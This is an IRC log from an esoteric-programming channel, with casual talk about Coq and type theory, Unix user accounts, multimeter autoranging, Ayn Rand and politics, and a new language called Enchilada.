13:49:40 <alise> The key difference between set theory and type theory is that in set theory one can form quotient sets for arbitrary equivalence relations. In intensional type theory, one cannot form quotient types. If one could form quotient types, then one could reduce an extensional relation to an intensional relation on quotient types. Then one could use the intensional axiom of choice to get the extensional choice function.
13:50:03 <fax> I don't get your point
13:50:05 <alise> i can't bring myself to argue with roconnor he's too cool
13:50:17 <fax> link?
13:50:32 <alise> http://r6.ca/blog/20050604T143800Z.html
13:50:37 <alise> plus
13:50:38 <alise> For more information see EM + EXT- + ACint is Equivalent to ACext by Jesper Carlstrm.
13:53:25 -!- MizardX has joined.
14:34:51 <alise> http://pastie.org/889672.txt?key=yr84tq66b2gw65xcuq2o3a
14:35:05 <alise> Setoids, fuck yeah.
14:37:41 <alise> pikhq: Bow to my superiority! You only know Haskell! (Now pikhq will learn dependent type theory in three days.)
14:47:58 <fizzie> alise: I don't seem to see any squiggliness in the double-line arrows. :/
14:48:13 <alise> fizzie: Aww.
14:48:16 <alise> Oh well; what I have now is aceptable.
14:49:08 <fizzie> alise: But when you *really* want to point right, there's the three-arrow ⇶, and the triple-arrow ⇛. And if you don't mind pointing up; the quadruple-arrow, ⟰. (There's also a rightwards quadruple arrow, ⭆, but my fonts don't have that one.)
14:49:34 <alise> ⟰ - the penis hut arrow.
14:58:40 -!- adam_d has quit (Ping timeout: 258 seconds).
15:07:21 -!- Sgeo_ has joined.
15:10:12 -!- Sgeo has quit (Ping timeout: 265 seconds).
15:15:04 <AnMaster> <alise> your thinkpad has a sophisticated drainage system <-- it does. a) That does not mean my desktop keyboard has one as well. b) It is meant for when things go wrong, there is no reason to increase the risk of having to put it to use.
15:15:29 <alise> drinking near a computer is completely harmless.
15:16:07 <alise> and I'm fairly sure the design for the drainage system started with "I hate it when I spill drinks on my laptop and it gets fucked up, we should make it safe to drink"
15:16:25 <alise> maybe you just have really wobbly hands
15:26:44 -!- ais523 has joined.
15:31:29 <alise> hi ais523
15:31:39 <ais523> hi alise
15:53:02 -!- Asztal has joined.
16:02:16 -!- coppro has quit (Quit: I am leaving. You are about to explode.).
16:12:33 -!- AnMaster has quit (Ping timeout: 265 seconds).
16:14:40 <alise> so now fax has dragged me into using coq :(
17:01:05 <fax> success!
17:16:45 -!- Asztal has quit (Ping timeout: 245 seconds).
17:16:56 <Gregor> Haw haw
17:16:59 <Gregor> alise loves the coq.
17:17:43 <alise> That I do.
17:26:01 <olsner> ...
17:30:15 <alise> #esoteric: home of ...
18:02:11 <pikhq> alise: THOU
18:05:31 <fax> aliζe
18:06:47 <pikhq> alise: BOW TO MY SUPERIORITY YOU KNOW ONLY ENGLISH! でも、何も日本語で言うつもり!悪人ね!
18:07:51 <fax> wow 言 is nice
18:08:17 <fax> 言 -- japanese for beehive
18:09:52 <pikhq> Japanese for "say", actually.
18:10:12 <fax> wrong
18:10:13 <pikhq> Also Chinese.
18:10:26 <fax> you can't redefine it
18:10:39 <pikhq> -_-'
18:10:48 <fax> ^ζ^
18:10:49 <fax> -
18:22:50 -!- mibygl has joined.
18:23:29 <mibygl> So, I'm pondering making a Unix MOO. No surprise there.
18:24:52 <mibygl> And I'm thinking it might be a good idea to set processes' UIDs to random junk, and then set files' owners to the same random junk so that the processes can access the files.
18:25:15 <ais523> hmm, interesting...
18:25:22 <mibygl> Is there anything wrong with doing such a thing?
18:26:45 <mibygl> What makes a user, anyway? Just an entry in /etc/passwd?
18:29:09 <alise> yes
18:29:14 <alise> plus /etc/shadow nowadays
18:30:03 <mibygl> So does anything bad happen if the /etc/passwd entry is missing?
18:31:51 -!- jcp has joined.
18:37:42 <alise> Well... if things try and look up things like username, yes
18:39:43 <pikhq> Actually, /etc/passwd doesn't make a user on most NIXen. PAM just uses /etc/passwd to check users.
18:39:54 <pikhq> PAM can do other things for that.
18:42:06 -!- jcp has quit (Read error: Connection reset by peer).
18:42:56 -!- AnMaster has joined.
18:43:15 -!- jcp has joined.
18:53:15 -!- oerjan has joined.
18:56:51 <fax> hehehe
18:57:28 <fax> infinity! = sqrt(2pi)
18:57:43 <fax> just like how 1+1+1+1... = -1/2
19:01:43 <ais523> there is something wrong with the reasoning here...
19:01:56 <ais523> (there is a decent argument that 9 recurring = -1, though)
19:10:41 -!- Slereah has quit (Ping timeout: 276 seconds).
19:16:34 -!- Slereah has joined.
19:34:43 <Sgeo_> ais523, there's a reddit comment I wanted to link you to
19:34:58 <ais523> Sgeo_: why don't you link me to it then?
19:35:12 <Sgeo_> Because I don't remember it offhand
19:35:14 <Sgeo_> It's in the logs
19:35:46 <ais523> on which day?
19:35:54 <Sgeo_> Today/yesterday
19:37:46 <ais523> http://www.reddit.com/r/programming/comments/bioxv/while_thinking_about_turing_machines_i_found_that/c0mypya ?
19:38:37 <ais523> I think I prefer alise's concept; create a device with an extensible tape, that asks a human to give it more tape if it runs out
19:38:38 <Sgeo_> Yes
19:38:54 <alise> Wait, when did I say that?
19:39:06 <ais523> ages ago
19:39:10 <alise> ais523: I just want you to know that Coq is the bes tthing ever
19:39:14 <ais523> at least, I think it was you
19:39:16 <ais523> what is Coq anyway?
19:39:16 <alise> *thing
19:39:22 <alise> A programming language / proof assistant.
19:39:27 <alise> Practical: the four-colour theorem has been formalised in it.
19:39:36 <ais523> that was a weird theorem
19:39:39 <alise> It's French, so they don't mean no harm with that slightly iffy name.
19:39:39 <ais523> or at least, a weird proof
19:39:59 <alise> ais523: My first project in it has been - with fax's help - making an stdlib from scratch for it.
19:40:09 <alise> It's been smooth sailing.
19:40:35 <ais523> I've been having more thoughts about "splint done right"
19:40:40 <alise> It has the typical proof assistant conveniences: tactic-based proving but also tactic-based definitions, so you basically choose a bunch of different ways to mangle data/existing proofs/etc and it applies it to the right stuff and constructs the huge lambda-expression for you.
19:40:46 <alise> Which has helped me define quite a few functions.
19:40:51 <alise> Dependent up the wazoo, naturally.
19:41:00 <ais523> lambdas are one thing that tends to need sugar
19:41:05 <ais523> (or in the case of esolangs, antisugar)
19:41:12 <ais523> hmm... syntactic salt?
19:41:32 <alise> well, proofs are lambda-expressions
19:41:39 <alise> (and propositions are types; curry-howard)
19:41:44 <alise> tactics let you write it a lot nicer
19:42:02 <alise> Theorem Identity_leibniz {x y : T} {P : T -> Prop} : Identity x y -> P x -> P y.
19:42:04 <alise> intros x y P H H′.
19:42:04 <alise> destruct H.
19:42:04 <alise> assumption.
19:42:04 <alise> Qed.
19:42:22 <ais523> I should logread more often
19:42:29 <alise> intros binds all your assumptions to variables; x and y are the Ts, P is the T -> Prop, H is the identity proof, H' is the P x proof
19:43:22 <fax> 18:39 < alise> It's French, so they don't mean no harm with that slightly iffy name.
19:43:27 * ais523 catches oerjan in a butterfly net -----\XXX/
19:43:37 <fax> It's French so they do everything they possibly can to mock our stupid language :P
19:43:58 <ais523> I've wanted to do that unexpectedly for months, but never found an opportunity at which simultaneously I was thinking about it, and it would be sufficiently unexpected
19:44:04 <ais523> I would make an awful Spanish Inquisition
19:46:33 <alise> Coq is totally unwashed
19:46:40 <ais523> <AnMaster> I have seen the *same* multimeter display, without me touching anything on it displaying: 1.010 V, 1.01 V, 1010 mV
19:47:01 <ais523> that's easy to explain, it was an autoranging multimeter with substantial hysteresis involved (so that you could actually read the number)
19:47:02 * oerjan buzzes frantically around in the net
19:47:02 <AnMaster> ais523, and why did you mention this?
19:47:08 <ais523> AnMaster: to explain it
19:47:12 <AnMaster> err
19:47:14 <AnMaster> ah
19:47:18 <AnMaster> ais523, well tell me then
19:47:23 <ais523> I just did
19:47:26 <ais523> <ais523> that's easy to explain, it was an autoranging multimeter with substantial hysteresis involved (so that you could actually read the number)
19:47:26 <AnMaster> ah there
19:47:48 <AnMaster> ais523, that explains two of it
19:47:53 <AnMaster> ais523, but not why there are three?
19:47:55 <ais523> all three, actually
19:48:06 <AnMaster> ais523, really? I could see the V/mV thingy but...
19:48:11 <ais523> those are three different ranges
19:48:18 <ais523> because autoranging works in multiples of 10
19:48:30 <ais523> internally, the second one is 0101 units of .01 V
19:48:31 <AnMaster> ais523, it seems strange that three ranges overlaps for a single value
19:49:00 <ais523> but a decimal point's added to make it less weird-looking
19:49:07 <AnMaster> hah
19:49:13 <ais523> in theory, a single value could be in loads of ranges
19:49:27 <AnMaster> ais523, that seems poor design though to me?
19:49:28 <ais523> 0.001µV is probably in every range on the multimeter
19:49:32 <ais523> but they'd probably all treat it as 0
19:49:45 <AnMaster> heh
19:49:47 <ais523> it's not poor design; no range has trouble reading numbers /below/ the ideal region
19:50:09 <ais523> and if the signal was, say, a square wave changing relatively slowly
19:50:20 <ais523> you wouldn't want it to keep re-ranging every time it went past 0
19:50:28 <AnMaster> ais523, but why is the hysteresis so large that the value may be displayed in 3 different way?
19:50:36 <ais523> because you'd end up overloading the multimeter and/or blowing the fuse
19:50:45 <AnMaster> aha
19:51:01 <ais523> AnMaster: because, the size of the hysteresis is measured in time, and the ranges are measured in volts
19:51:02 <AnMaster> ais523, it was stable at all three values
19:51:08 <AnMaster> so there wasn't any such time delay
19:51:15 <ais523> now, it likely also doesn't change if the voltage isn't changing
19:51:32 <ais523> there'll probably be a processor in there somewhere, and that would be a plausible way to program it
19:51:47 <AnMaster> ais523, well the voltage was jittering up and down a tiny bit. it was for AC. so RMS value
19:51:51 <ais523> (processors are cheap nowadays, trying to do autoranging "by hand" is entirely possible but would be expensive)
19:52:26 <ais523> ooh, theory: there were two hystereses involved
19:52:34 <AnMaster> ais523, and considering it has a digital display and lots and lots of buttons I assume it has a processor
19:52:40 <ais523> one for the actual range selected (millivolts, or tens of millivolts)
19:52:47 <ais523> and one for the units to display in (millivolts, or volts)
19:52:53 <AnMaster> ais523, well, the selector was on voltage (AC)
19:52:55 <ais523> that would explain how you got all three possibilities stably
19:52:56 <AnMaster> if that helps
19:53:17 <AnMaster> ais523, heh, quite insane :D
19:53:33 <ais523> AnMaster: not at all, as the display and the measurement would be entirely different circuits
19:53:34 <oerjan> so this is all quite hysterical?
19:53:45 <ais523> oerjan: quite
19:53:48 <AnMaster> hah
19:54:49 <AnMaster> ais523, I'm not sure if the fact that it was measuring RMS and not peak voltage complicates it further or not
19:55:02 <alise> Measure what aspect of Stallman?
19:55:06 <ais523> AnMaster: it depends on /how/ it was trying to measure RMS
19:55:19 <AnMaster> ais523, well it was marked "true RMS" whatever that means.
19:55:23 <pikhq> alise: Clearly it was trying to measure the proximity of RMS.
19:55:23 <ais523> it shouldn't make any difference if it's by the standard method of rectifying then putting a capacitor in there
19:55:26 <AnMaster> oh and input was a sinusoidal, from a function generator
19:55:32 <ais523> oh, it wasn't using the standard method then
19:55:36 <pikhq> But only the true RMS, not the impersonators.
19:55:37 <alise> pikhq: a warning meter then
19:55:47 <AnMaster> ais523, how does it measure "true rms" then?
19:55:50 <ais523> if you rectify then add a capacitor, the result depends on the shape of the wave
19:56:09 <ais523> as in, there's a correction factor (1/sqrt(2) for a sine wave, 1 for a square wave) to get RMS
19:56:18 <AnMaster> alise, RMS is, uh, Root Mean <something>
19:56:29 * AnMaster know what it means, just not what it stands for
19:56:32 <AnMaster> knows*
19:56:41 <ais523> true RMS means that it's using some form of measurement that can deduce the actual RMS without knowing the shape, but I'm not sure how to measure that
19:56:44 <ais523> AnMaster: root mean square
19:56:51 <AnMaster> right duh
19:57:27 <AnMaster> ais523, measuring peak-to-peak would be a lot simpler sometimes. :/
19:57:40 <AnMaster> well I guess that is what you have oscilloscopes for
19:57:53 <ais523> I can't think of an obvious way to do peak-to-peak either
19:58:04 <AnMaster> ais523, well, using a oscilloscope
19:58:08 <AnMaster> that seems obvious to me
19:58:10 <ais523> I mean, on a multimeter
19:58:24 <AnMaster> (the oscilloscope I used even has a measure button with an option for peak-to-peak)
19:58:24 <ais523> analog oscilloscopes rely on a human to see which bits of phosphorous are getting marked
19:58:27 <ais523> and to set trigger levels
19:58:30 <AnMaster> ais523, it was a digital one
19:58:36 <AnMaster> the oscilloscope
19:58:44 <ais523> yep, modern oscilloscopes are a lot more sophisticated and can actually pick up the signal themselves
19:58:52 <ais523> rather than relying on physics to amplify the signal
20:01:22 <oerjan> metaphysical oscilloscopes
20:02:45 <AnMaster> ais523, yes indeed it did
20:02:55 <AnMaster> you just pressed autoset or something like that iirc
20:03:02 <AnMaster> and possibly adjusted some settings afterwards
20:03:15 <AnMaster> like changed from peak-detect to sample or to average-sample
20:03:39 <AnMaster> (I don't know why it always preferred the noisy peak detect mode)
20:04:48 <ais523> peak detection is inherently noisy, because it relies on a very short length of time to grab the peak
20:04:57 <ais523> and any noise will have a full effect at that moment, rather than averaging over time
20:15:11 -!- Quadrescence has quit (Ping timeout: 265 seconds).
20:16:23 <AnMaster> ais523, indeed
20:16:34 <AnMaster> ais523, sample mode was rather noisy too iirc
20:16:43 <AnMaster> while averaging sample was quite nice
20:16:59 <lament> there was a technician named Pope
20:17:10 <lament> who plugged into an oscilloscope
20:17:16 <lament> the cyclical trace
20:17:20 <lament> of their carnal embrace
20:17:35 <lament> had a damn near infinite slope
20:17:49 <ais523> so in other words, it was a square wave?
20:19:20 <ais523> or arguably sawtooth, but that would have implied two slopes, one near-infinite, the other definitely finite
20:20:09 <oerjan> well it said _a_ damn near infinite slope
20:20:25 <ais523> yep, that's why I thought square wave was more likely
20:20:33 <ais523> we know it's some sort of wave, as it's cyclical
20:20:39 <oerjan> a square wave has two infinite slopes
20:20:44 <oerjan> up, and down
20:20:46 <ais523> yes
20:20:53 <ais523> and two zero slopes, for the horizontal bits
20:21:06 <ais523> btw, "rising edge" and "falling edge" are more common names for them
20:21:22 -!- FireFly has quit (Remote host closed the connection).
20:22:35 <ais523> <AnMaster> intercal needs to be... more self-modifying
20:22:42 <ais523> AnMaster: you've obviously never really looked into CLC-INTERCAL
20:22:49 <ais523> you can redefine syntax on the fly
20:24:44 -!- mibygl has quit (Ping timeout: 252 seconds).
20:25:10 <fax> I ROTE A HASKEL PROGAM sqrt . sqrt . (120 *) . sum $ do [ 1/(m*m*n*n) | n <- [1..150], m <- [1..n-1] ]
20:25:30 <AnMaster> ais523, heh
20:25:33 <fax> it uses a nondeterministic search for pie
20:25:43 <AnMaster> or just the syntax?
20:25:58 <ais523> AnMaster: just the syntax, but that makes the code mean something else
20:26:06 <AnMaster> btw, is earth hour at the same time over there as here?
20:26:12 <AnMaster> here it starts in a few minutes
20:26:20 <ais523> it's a much better form of self-mod than limited little code modification
20:26:38 <ais523> action at a distance is INTERCAL's niche, I think
20:27:23 <ais523> things like DO ABSTAIN FROM CALCULATING have been around for ages
20:27:31 <ais523> although that's /so/ global it's not that useful
20:27:38 <ais523> CLC-INTERCAL has scoped abstentions
20:27:48 <ais523> as in, DO ABSTAIN #1 FROM CALCULATING followed by DO REINSTATE CALCULATING
20:27:59 <AnMaster> also why do I get statically charged whenever I rise up out of this chair
20:28:03 <AnMaster> very strange
20:28:13 <ais523> which will abstain/reinstate without clobbering any existing abstentions, like the -72 version does
20:28:35 <ais523> I love INTERCAL's scoping mechanism so much
20:31:51 * AnMaster loads a 133 MB large pcap dump into wireshark
20:31:55 <AnMaster> lets see what happens
20:32:22 <AnMaster> ouch bad idea
20:32:27 <AnMaster> swap trashing on laptop
20:34:25 * AnMaster tries to split it into several dumps
20:34:45 <alise> http://pastie.org/889997.txt?key=xph638b5e1j3ea7zdtfga ;; this stuff /half/ works!
20:35:35 -!- Oranjer has joined.
20:41:58 <Sgeo_> alise, are you IRCing in OCaml or something?
20:42:54 <alise> ircing howso?
20:42:56 <alise> and that is Coq, not OCaml
20:44:25 * Sgeo_ was trying to make a reference to the ;;
20:46:09 <fax> hehe
20:48:38 <alise> ah.
20:48:41 <alise> those are lisp comments
20:50:25 <alise> defining setoid arrows is hard
21:27:38 <dixon> alise: I see the problem. The definition of an equivalence relation is taking up half your code.
21:27:45 <dixon> I kid.
21:27:56 -!- adam_d has joined.
21:27:56 <alise> Hey, it's the very complicated relation A = A!
21:27:58 <alise> Just ask Ayn Rand!
21:28:07 <alise> Also, technically only Inductive Identity (T : Type) (x : T) : T -> Prop := refl : Identity x x.
21:28:09 <alise> is the actual definition :P
21:28:15 <alise> The rest are really trivial theorems.
21:28:59 <dixon> I would ask Ayn Rand, but she's dead, and most of her proponents are stupid or batshit insane.
21:29:22 <dixon> And considering she's the butt of most modern philosophers' jokes, I dare not ask them either.
21:30:40 <alise> Ayn Rand is of course an idiot.
21:31:03 <alise> She thought A = A was the most profound statement ever and based her entire self-aggrandising, psychopathic philosophy on it.
21:31:07 <alise> Well, was, not is.
21:32:10 <dixon> I read A = A! as "A equals A factorial"
21:32:15 <dixon> <_<
21:32:36 <Sgeo_> {0, 1} E A
21:32:57 <Sgeo_> A bit backwards, but the best I could do
21:33:05 <alise> A is a value, not a set.
21:33:05 <Sgeo_> Wait
21:33:09 <alise> Perhaps you meant:
21:33:14 <alise> E = 0 \/ E = 1
21:33:15 <Sgeo_> I got it wrong, it's 1,2
21:33:21 <alise> That also
21:33:39 <fax> 20:30 < alise> She thought A = A was the most profound statement ever and based her entire self-aggrandising, psychopathic philosophy on it.
21:33:40 <alise> Or A in {1,2}.
21:33:41 * Sgeo_ meant the E to be a backwards.. membership thing
21:33:43 <fax> alise: where can I read this?
21:34:19 <dixon> Sgeo_: The backwards E is "there exists"
21:34:37 <Sgeo_> Not literally backwards E. More like a curved backwards E
21:34:39 <alise> faxObjectivism states that "Existence exists" and "Existence is Identity." To be is to be "an entity of a specific nature made of specific attributes." That which has no attributes does not and cannot exist. Hence, the axiom of identity: a thing is what it is. Whereas "existence exists" pertains to existence itself (whether something exists or not), the law of identity pertains to the nature of an object as being necessarily distinct from other objects
21:34:39 <alise> (whether something exists as this or that). As Rand wrote, "A leaf ... cannot be all red and green at the same time, it cannot freeze and burn at the same time. A is A."[9]
21:35:00 <dixon> Sgeo_: A \in {0, 1} or {0, 1} \in A?
21:35:00 <fax> alise I mean a book or what?
21:35:01 <Sgeo_> But it can be green and have cells at the same time.
21:35:11 <alise> fax: what ayn rand?
21:35:14 <alise> you want to read ayn rand?
21:35:23 <alise> do you have the /patience/ for that many thousands of pages of nonsense?
21:35:24 <fax> alise, yes about A = A
21:35:35 <ais523> ooh, TVTropes has a really clever CAPTCHA
21:35:36 <alise> do you really want to sit through the rape-is-awesome scenes?
21:35:45 * Sgeo_ had to read, um, Anthem I think, for school
21:35:57 <ais523> it's http auth, which states the password in the login dialog
21:36:01 <alise> Sgeo_: Suicide is the only option.
21:36:07 <Sgeo_> The one where the boy discovers a light-bulb-box thing, and the scientist people of the time threaten to destroy it
21:36:22 <pikhq> Such a poorly written book.
21:36:36 * Sgeo_ may be describing it poorly
21:36:38 <pikhq> alise: It was at least a short work of hers. A mere few hundred pages.
21:36:54 <pikhq> Sgeo_: I, too, had to read that book. It sucked ass.
21:37:08 <alise> "This is my favourite Ayn Rand novel. It blows."
21:37:13 * Sgeo_ doesn't remember having an opinion in particular
21:37:38 <Sgeo_> Other than that yes, the society that Ayn Rand describes is dystopian
21:37:47 <dixon> I would've made them opt for some good-ole Huxley.
21:38:14 <Sgeo_> Having people be able to take credit for things is not a bad thing.
21:38:37 <pikhq> Sgeo_: She considers that dystopian society the result of having government.
21:38:44 <pikhq> Just... *Having* government.
21:39:00 -!- adam_d has quit (Ping timeout: 252 seconds).
21:39:01 * Sgeo_ blinks
21:39:05 <pikhq> Yes.
21:39:22 <pikhq> Your government just forced you to read an anarchist screed.
21:39:36 <alise> I have anarchistic tendencies but make no mistake: anarcho-capitalism is not anarchism.
21:39:38 <ais523> of course, editing TV Tropes is a sign of a deliberate choice to have your life sucked in, I suspect
21:39:53 <pikhq> alise: Well... Yeah...
21:41:19 <Gregor> I thought we were an anarcho-syndicalist commune.
21:41:29 <pikhq> Gregor: XD
21:41:33 -!- FireFly has joined.
21:41:37 * Sgeo_ would tend to prefer something that didn't need various patches
21:41:48 <alise> No, we're mutalist.
21:41:48 <alise> Just so we can be more obscure and esoteric.
21:41:58 <Gregor> Oh, you're talking about Ayn Rand.
21:42:02 <Sgeo_> And will only ever support something that has a non-violent transition plan.
21:42:04 <Gregor> No wonder so much retardation has invaded the channel.
21:42:10 <alise> I'd say we're actually more like anarcho-anarchism, by which I mean that everyone does what the fuck they want because they can't hurt anybody else.
21:42:21 <Sgeo_> CAN'T?
21:42:27 <Sgeo_> Sounds like the world of Prime Intellect
21:42:47 <alise> Sgeo_: Anarchism will probably never have a non-violent transition plan, as the whole point is that capitalism will use violent measures to maintain it.
21:42:48 <alise> *itself
21:42:52 <Sgeo_> I don't know why the author made it seem dystopian. To me, it would be Heaven.
21:43:00 <alise> I wouldn't say that's anarchism's fault...
21:43:19 -!- tombom has joined.
21:43:58 <Sgeo_> Aren't anarchism and capitalism orthogonal?
21:44:45 <Gregor> When you start talking about such things you have to start distinguishing "government" from any other form of social structure, but that distinction becomes meaningless very fast.
21:45:09 <Gregor> In lack of a formal government, any form of social structure will soon become an effective government.
21:45:36 <tombom> but MONEY IS NATURAL
21:45:38 <tombom> or something
21:46:04 <pikhq> In particular, the corporations that will form to provide basic services will soon function as a form of government.
21:46:21 <Gregor> GOVERNMENT IS INEVITABLE
21:46:21 <tombom> but it's capitalist, it's all ok
21:46:23 <Gregor> MUAHAHAHAAHAH
21:46:56 <pikhq> More than likely a form of feudalism, but it's a complete and utter crapshoot what would actually happen.
21:46:58 -!- jcp has quit (Quit: I will do anything (almost) for a new router.).
21:48:06 <AnMaster> how comes all the wlan channels except channel 13 are overcrowded around here...
21:48:08 <AnMaster> strange
21:48:25 * AnMaster uses channel 13 for his router, and so does one other AP
21:50:15 <pikhq> Beats me.
21:50:23 <pikhq> Hmm. Which country are you in?\
21:50:42 <alise> sweden
21:50:44 <alise> <Sgeo_> Aren't anarchism and capitalism orthogonal?
21:50:45 <alise> no
21:50:49 <AnMaster> alise beat me to it
21:51:00 <alise> they are mutually exclusive
21:51:12 <pikhq> Beats me.
21:51:14 <AnMaster> alise, are they?
21:51:15 <alise> Gregor: Indeed but anarchism is more the opposition to government than the belief that it can be completely eliminated for all time.
21:51:18 <alise> yes
21:51:34 <AnMaster> channel 6 and 11 btw seems to be the most over populated
21:51:43 <alise> "anarcho-capitalism" is just a silly lie invented by proponents of laissez-faire
21:51:51 <AnMaster> in total there are 43 networks visible from walking around this floor
21:51:59 <pikhq> In the US, channel 13 is more regulated than the rest (requires lower power gain, because it buts up against licensed spectrum)
21:51:59 <AnMaster> (not all are visible from any given point)
21:52:25 <AnMaster> pikhq, not so in EU afaik
21:52:38 <pikhq> alise: Anarcho-capitalism, AKA "Lalala capitalism is god, hail Adam Smith"
21:53:27 <alise> Ripple is possibly the closest thing to anarcho-capitalism that could work.
21:53:37 <pikhq> As an aside, I find the "hail Adam Smith" stuff pretty funny.
21:53:40 <AnMaster> also, compared to my last scan a few months ago there are fewer WEP and fewer open, a lot more WPA, but the same number of WPA2
21:53:56 <pikhq> ... He was a proponent of various forms of welfare, in addition to a market economy.
21:54:47 <AnMaster> oh also some people seem to shut off their wireless in the evening
21:55:03 <AnMaster> did a number of scans today, and it went down by half in the last hour
21:55:42 * Sgeo_ misread that as "scams"
21:56:48 <AnMaster> har
21:57:42 <AnMaster> also I'm really curious about that hidden ssid that I have never seen any clients connected to. Could be that the client's have too weak signals for it to reach me I guess
22:03:59 <ais523> hmm... my rule 34 test case seems to be holding up
22:04:06 <AnMaster> ais523, oh?
22:04:13 <ais523> the standard "proof" of rule 34 is that there is porn of every Pokémon in existence
22:04:20 <AnMaster> ais523, there is+
22:04:21 -!- lament has quit (Ping timeout: 240 seconds).
22:04:24 <AnMaster> s/+/?/
22:04:31 <ais523> and apparently the Pokémon that was recently announced as being in the next games has already been involved in this
22:04:40 <ais523> to the extent that it's being marked as a prime example in TV Tropes
22:04:54 <ais523> (I check there to verify existence, rather than searching myself; it seems someone else is doing the same measurements)
22:04:54 <AnMaster> -_-
22:05:08 <AnMaster> ais523, I thought you never visited tv troupes?
22:05:12 <AnMaster> you told me so before
22:05:16 <ais523> AnMaster: I visit it in bursts
22:05:19 <ais523> and I'm on one at the moment
22:05:25 <AnMaster> tropes*
22:05:27 <ais523> I decide that this is a moment where I don't mind spending hours on it
22:05:41 -!- lament has joined.
22:05:43 <AnMaster> ais523, you told me before that you had *never visited* it though
22:05:45 <AnMaster> was quite recently
22:05:47 <ais523> and then I just decide to stop looking after a while, bookmarking all the pages I'm on so I can find them again
22:05:52 <ais523> AnMaster: at that point, I had never visited it
22:05:57 <ais523> I've only been on three bursts altogether
22:06:16 <AnMaster> ais523, did you get stuck in those cases? XD
22:06:24 <ais523> no
22:06:27 <AnMaster> huh
22:06:34 <ais523> at least, yes but I planned to in advance
22:06:36 <ais523> so that isn't really getting stuck
22:06:41 <AnMaster> har
22:07:34 <lament> nice topic
22:08:54 -!- almya has joined.
22:10:04 <alise> according to fax, pi = 2*((inf!!^4)/(inf!^2))
22:10:22 <alise> http://pastebin.tlhiv.org/MBFEx5L2 (send to latex previewer then click preview, popup)
22:10:25 <AnMaster> alise, inf!!?
22:10:33 <alise> The factorial of the factorial of infinity
22:10:37 <alise> *infinity.
22:10:47 <AnMaster> what does the factorial of infinity even mean?
22:10:53 <alise> Precisely!
22:10:56 <alise> What is it again fax?
22:11:53 <fax> double factorial of infinity = 2*4*6*8*10*...
22:11:55 <AnMaster> I know that there are series that goes on forever that makes up pi
22:11:58 <Sgeo_> Surely we can figure it out based on the equation
22:12:10 <AnMaster> fax, is that a common definition of it?
22:12:28 <AnMaster> I would have expected some product or sum sign or such for it
22:12:36 <AnMaster> to write it out I mean
22:13:06 <AnMaster> alise, what is that 2^inf though?
22:13:24 <AnMaster> 2*2*... forever?
22:13:35 <alise> ask fax
22:13:40 <AnMaster> and isn't that just infinity then
22:13:44 <alise> I don't pretend to understand his infinitarian musings
22:13:51 <AnMaster> (though common sense seldom works for infinity)
22:14:05 <fax> I am NOT an infinitarian!!!
22:14:22 * AnMaster googles "infinitarian"
22:14:29 <dixon> Which infinity?
22:14:50 <fax> infinity = 1+1+1+1+... = -1/2
22:14:50 <AnMaster> dixon, it just used to 90° rotated 8
22:14:53 <AnMaster> so hard to tell
22:14:59 <AnMaster> if it was aleph_0 or some other
22:15:57 <dixon> Mebbe he was talking about the cardinality of the continuum
22:16:52 <alise> <fax> infinity = 1+1+1+1+... = -1/2
22:17:02 <alise> so the infinite chain of successors
22:17:12 <alise> which is the only infinite natural - presuming we allow infinite nestings of constructors
22:17:18 <alise> which we must to have infinity
22:17:53 <almya> omg! a math chan!
22:18:01 <fax> almya where??
22:18:05 <alise> almya: programming actually... but
22:18:09 <almya> here
22:18:12 <almya> ok
22:18:14 <almya> lol
22:18:16 <alise> well esoteric programming
22:18:22 <alise> which is close enough to mathematics... when it's good, that is
22:19:01 <almya> there are esoteric programming theories ?
22:19:14 <oerjan> probably >_>
22:19:44 <pikhq> The theory of Brainfuck: every esolanger has developed at least one Brainfuck derivative.
22:19:44 <pikhq> :P
22:20:03 <oerjan> hm, _have_ i done that now
22:20:07 <almya> lol
22:20:16 * fax hasn't
22:20:21 * oerjan cannot recall, but it's so easy to do that he may have forgotten it
22:20:25 <fax> i have implemented barinfuck
22:20:51 <fax> I should make a brainfuck
22:20:52 <fax> now
22:21:58 <almya> is all that language agnostic ?
22:22:13 <lament> i have developed two :(
22:22:32 <pikhq> Indeed, we are language agnostic. We are in doubt but apathetic about the existence of languages.
22:22:58 * oerjan swats pikhq for stealing his joke -----###
22:22:58 -!- rapido has joined.
22:24:14 <rapido> is my language is esoteric?: http://www.enchiladacode.nl ... you decide
22:24:47 <fax> oerjan
22:25:18 <oerjan> rapido: looks far too well-developed to be esoteric :D
22:26:11 <pikhq> Far too usable.
22:26:14 <rapido> i think to most interesting esoteric languages are extremely well-developed to be different
22:26:17 * oerjan had this strange impression there was an enchilada language on the wiki
22:26:49 <rapido> pikhq: you insult me! - usable? - nah
22:27:02 <oerjan> but no
22:27:06 * pikhq shoves Befunge at you
22:27:06 <fax> rapido -- it doesn't look esoteric but I just glanced
22:28:27 <rapido> the esoteric bit is that it would be very difficult to compile enchilada to efficient machine code
22:28:48 <rapido> but i guess most esoteric languages have that property
22:29:11 <fax> aaahh!! so the product of all the prime numbers = 4pi^2
22:29:12 <rapido> may be not
22:29:31 <pikhq> rapido: Many languages are difficult to compile efficiently.
22:29:58 <oerjan> rapido: befunge has that as a design feature
22:30:02 <pikhq> Many commonly used languages cannot readily be compiled to machine code, for that matter.
22:30:10 <pikhq> ... Without including an eval function, that is.
22:30:45 <rapido> pikhq: enchilada's eval is always there - always
22:30:49 <AnMaster> <pikhq> The theory of Brainfuck: every esolanger has developed at least one Brainfuck derivative. <-- err actually I'm a counter example too
22:30:57 <oerjan> hm wait cpressey has burrito, maybe he has an enchilada too
22:31:10 <AnMaster> I have of course implemented brainfuck though
22:31:15 <oerjan> um burro not burrito
22:31:18 <alise> rapido: you're the enchilada creator?
22:31:26 <pikhq> rapido: BTW, what makes it difficult to compile efficiently?
22:31:27 <alise> huh
22:31:31 <alise> great to meet you rapido
22:31:38 <alise> your language is interesting and it sucks. :)
22:31:44 <alise> (The highest compliment I ever give to a language.)
22:31:46 <rapido> alise: thanks!
22:32:10 <rapido> pikhq: every unwritten term carries a hash
22:32:25 <rapido> code = data = hashed
22:32:30 <alise> rapido: May I comment? Making the correctness of your language depend on the infallibility of SHA-1 is unwise.
22:32:42 <alise> Especially as SHA-1, by definition, cannot satisfy what you ask of it: a distinct output for every distinct input.
22:32:47 <AnMaster> <alise> (The highest compliment I ever give to a language.) <-- really?
22:32:53 <alise> AnMaster: Yes.
22:32:54 <AnMaster> I think you praised your own ones more
22:32:55 <rapido> alise: SHA-1 is just one choice of hash
22:33:01 <alise> AnMaster: That's because I am infallible.
22:33:05 <alise> rapido: But it is true of every hash.
